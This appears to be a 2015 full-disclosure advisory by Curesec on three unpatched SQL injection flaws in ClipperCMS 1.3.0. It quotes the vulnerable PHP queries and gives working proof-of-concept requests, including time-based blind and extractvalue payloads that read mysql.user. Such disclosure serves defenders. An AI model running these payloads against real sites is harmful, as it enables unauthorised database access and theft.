Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    ClipperCMS 1.3.0
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.clippercms.com/
Vulnerability Type:  SQL Injection
Remote Exploitable:  Yes
Reported to vendor:  10/02/2015
Disclosed to public: 11/13/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

There are multiple SQL Injection vulnerabilities in ClipperCMS 1.3.0.

An account with the role "Publisher" or "Administrator" is needed to exploit
each of these vulnerabilities.

3. SQL Injection 1 (Blind)

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

The id parameter of the web user editor is vulnerable to blind SQL Injection.

To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.

Proof of Concept


http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> true

http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1 AND IF(SUBSTRING(version(), 1, 1)='4',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23
-> false

Code


/manager/actions/mutate_web_user.dynamic.php
$sql = "SELECT * FROM $dbase.`".$table_prefix."web_groups` where webuser=".$_GET['id']."";

4. SQL Injection 2

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

When updating a user, the newusername parameter is vulnerable to SQL injection.

To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.

Proof of Concept


POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest
&newusername=testtest' or extractvalue(1,concat(0x7e,(SELECT concat(user) FROM mysql.user limit 0,1))) -- -
&newpassword=0&passwordgenmethod=g&specifiedpassword=&confirmpassword=&passwordnotifymethod=s&fullname=&email=foo3%40example.com&oldemail=foo3%40example.com&role=2&phone=&mobilephone=&fax=&state=&zip=&country=&dob=&gender=&comment=&failedlogincount=0&blocked=0&blockeduntil=&blockedafter=&manager_language=english&manager_login_startup=&allow_manager_access=1&allowed_ip=&manager_theme=&filemanager_path=&upload_images=&default_upload_images=1&upload_media=&default_upload_media=1&upload_flash=&default_upload_flash=1&upload_files=&default_upload_files=1&upload_maxsize=&which_editor=&editor_css_path=&rb_base_dir=&rb_base_url=&tinymce_editor_theme=&tinymce_custom_plugins=&tinymce_custom_buttons1=&tinymce_custom_buttons2=&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&photo=&save=Submit+Query

Code


/manager/processors/save_user_processor.php
$sql = "UPDATE " . $modx->getFullTableName('manager_users') . "
SET username='$newusername'" . $updatepasswordsql . "
WHERE id=$id";

5. SQL Injection 3

CVSS

Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P

Description

When updating a user, the country, role, blocked, blockeduntil, blockedafter,
failedlogincount, and gender parameter are vulnerable to SQL injection.

To exploit this issue, an account is needed that has the right to manage web
users. Users with the role "Publisher" or "Administrator" have this by default.

Proof of Concept

The proof of concepts for the country, role, blocked, blockeduntil,
failedlogincount, and blockedafter parameter are analog to this POC for gender:


POST /ClipperCMS-clipper_1.3.0/manager/index.php?a=32 HTTP/1.1
mode=12&id=3&blockedmode=0&stay=&oldusername=testtest&newusername=testtest&newpassword=0&passwordgenmethod=g&specifiedpassword=&confirmpassword=&passwordnotifymethod=s&fullname=&email=foo6%40example.com&oldemail=foo3%40example.com&role=2&phone=&mobilephone=&fax=&state=&zip=&country=&dob=
&gender=2', fax=(SELECT concat(user) FROM mysql.user limit 0,1), dob='0
&comment=&failedlogincount=0&blocked=0&blockeduntil=&blockedafter=&manager_language=english&manager_login_startup=&allow_manager_access=1&allowed_ip=&manager_theme=&filemanager_path=&upload_images=&default_upload_images=1&upload_media=&default_upload_media=1&upload_flash=&default_upload_flash=1&upload_files=&default_upload_files=1&upload_maxsize=&which_editor=&editor_css_path=&rb_base_dir=&rb_base_url=&tinymce_editor_theme=&tinymce_custom_plugins=&tinymce_custom_buttons1=&tinymce_custom_buttons2=&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&photo=&save=Submit+Query

Visiting the overview page of that user will show the result of the injected
query.

Code


/manager/processors/save_user_processor.php
$sql = "UPDATE " . $modx->getFullTableName('user_attributes') . "
SET fullname='$fullname', role='$roleid', email='$email', phone='$phone',
mobilephone='$mobilephone', fax='$fax', zip='$zip', state='$state',
country='$country', gender='$gender', dob='$dob', photo='$photo', comment='$comment',
failedlogincount='$failedlogincount', blocked=$blocked, blockeduntil=$blockeduntil,
blockedafter=$blockedafter
WHERE internalKey=$id";

6. Solution

This issue has not been fixed by the vendor.

7. Report Timeline

10/02/2015 Informed Vendor about Issue (no reply)
10/21/2015 Reminded Vendor of Disclosure Date (no reply)
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/ClipperCMS-130-SQL-Injection-99.html